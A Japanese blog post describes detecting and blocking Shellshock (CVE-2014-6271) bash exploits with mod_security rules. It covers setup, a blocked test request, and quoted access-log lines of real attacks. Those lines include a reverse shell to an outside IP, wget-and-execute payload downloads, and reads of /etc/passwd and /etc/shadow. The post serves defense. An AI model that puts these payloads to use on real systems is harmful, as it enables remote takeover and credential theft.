bashの脆弱性を狙った不正アクセスを検知・ブロックする

ShellShock

先日報告された bash の脆弱性 ( shellshock ) に関しては、既に対応済みの方も多いと思いますが、mod_security に脆弱性を狙ったアクセスをブロック/検知するルールを追加して暫く様子を見てみたので、それに関して書いてみます。

はじめに

shellshock に関しては、修正パッチが 9/25に提供されましたが、対応が不十分という事で、以下の回避策を採る事が推奨されています。

参考 : GNU bash の脆弱性に関する注意喚起

  • GNU bash を代替のシェルに入れ替える
  • WAF や IDS を用いて脆弱性のあるサービスへの入力にフィルタをかける
  • 継続的なシステム監視を行う

弊社サイトの場合、

  • そもそもCGIの類は一切利用していない
  • シェルの入れ替えは影響範囲が不明なため別のトラブルを招く可能性がある
  • mod_security を既に導入している

という事で、WAFによるフィルタで様子を見る事にしました。

以下対応の手順と、実際の検知状況について記します。

環境

WAFにはmod_security を利用します。
環境、及び、導入方法に関しては、 WAF(Web Application Firewall)でWebサイトを脆弱性から守る を参照。

手順

ルールの作成

今回のbashの脆弱性に対する mod_security 用のルールについては、redhat が対応するルールを提示して下さっているので、これを利用します。

参考 : 特別に作成された環境変数を使用した Bash コード挿入の脆弱性 (CVE-2014-6271)

  1. /etc/httpd/modsecurity.d/local_rules 以下に shellshock 用ルールを作成します。
    ルールファイル名は modsecurity_crs_shellshock.conf とします。
    $ sudo vi /etc/httpd/modsecurity.d/local_rules/modsecurity_crs_shellshock.conf
    
  2. 以下内容でルールファイルを作成します。
    # Request Header values:
    SecRule REQUEST_HEADERS "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    
    # SERVER_PROTOCOL values:
    SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    
    # GET/POST names:
    SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    
    #GET/POST values:
    SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    
    #File names for uploads:
    SecRule  FILES_NAMES "^\(\) {"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271  - Bash Attack'"
    

ルールの適用

上で作成したルールを適用します。

  1. mod_securityのconfファイルを編集します。
    $ sudo vi /etc/httpd/conf.d/mod_secuirty.conf
    
  2. 以下を追記します。
        ( 中略 )
        Include modsecurity.d/activated_rules/modsecurity_crs_41_xss_attacks.conf
        Include modsecurity.d/local_rules/modsecurity_crs_shellshock.conf
        ( 中略 )
    
  3. 設定内容に問題がないか確認します。
    $ sudo httpd -t
    Syntax OK
    

    Syntax OKが出ない場合、問題箇所が表示されるので修正しましょう。

  4. 設定に問題なければ、apache をリロード。
    $ sudo /etc/rc.d/init.d/httpd reload
    

確認

ルールに適合する ( 問題のある ) アクセスがあった場合、mod_security のログに出力されます。

ログファイルは /var/log/httpd/modsec_audit.log になります。

試しに、以下サイトにある curl によるリクエストを行ってみました。

参考 : BASHの脆弱性でCGIスクリプトにアレさせてみました

以下この際のログになります。

--f43eac66-A--
[27/Sep/2014:13:04:11 +0900] VCY3O6wfCp0AACHw2v4AAAAI 127.0.0.1 45998 127.0.0.1 80
--f43eac66-B--
GET /hoge.cgi HTTP/1.1
User-Agent: () { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
Host: localhost
Accept: */*

--f43eac66-F--
HTTP/1.1 400 Bad Request
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

--f43eac66-E--

--f43eac66-H--
Message: Access denied with code 400 (phase 1). Pattern match "^\\(\\) {" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/modsecurity.d/local_rules/modsecurity_crs_shellshock.conf"] [line "2"] [id "1000000"] [msg "CVE-2014-6271 - Bash Attack"]
Action: Intercepted (phase 1)
Stopwatch: 1411790651657806 3069 (- - -)
Stopwatch2: 1411790651657806 3069; combined=17, p1=14, p2=0, p3=0, p4=0, p5=3, sr=0, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.8.0 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f43eac66-Z--

検知しました。

不正アクセスの例

弊社Webサイトに対する不正アクセスの例も載せてみます。
以下 mod_security のログではなくアクセスログです。

ec2-54-251-83-67.ap-southeast-1.compute.amazonaws.com - - [26/Sep/2014:18:10:52 +0900] "GET / HTTP/1.1" 302 - "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"

202.38.120.248 - - [26/Sep/2014:20:37:24 +0900] "GET / HTTP/1.0" 302 - "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

109.95.210.196 - - [26/Sep/2014:22:20:18 +0900] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 262 "-" "() { :;}; /bin/bash -c \"/usr/bin/wget http://singlesain

83.166.234.133 - - [27/Sep/2014:13:57:37 +0900] "GET / HTTP/1.0" 400 226 "-" "() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://agilegroup.co.jp/\""

217.72.242.16 - - [28/Sep/2014:22:34:59 +0900] "GET / HTTP/1.0" 400 226 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""

125.206.224.161 - - [29/Sep/2014:10:29:08 +0900] "GET /technote/modsec-crs-shellshock.html HTTP/1.1" 400 226 "-" "() { :;}; /bin/more /etc/shadow"

AWS (ec2) からも不正アクセス飛んできてるし (- -;

まとめ

既に対策済み、あるいは、システム構成上問題ないという場合も多いでしょうが、実際に攻撃があるのかどうか、上記ルールを適用する事で確認できると思われます。

パッチの内容が不十分という情報は継続しているようなので、WAFによる回避策も検討してみてもいいのではないでしょうか。

ちなみに上記ルール適用後、このルールに適合するアクセスが複数行われている事が確認できました。(全て mod_security によってブロックされていますが )。
弊社サイトでもそれなりの不正アクセスが検知できている状況なので、他サイトではもっとあるんだろうな。。。とか思ってしまいます。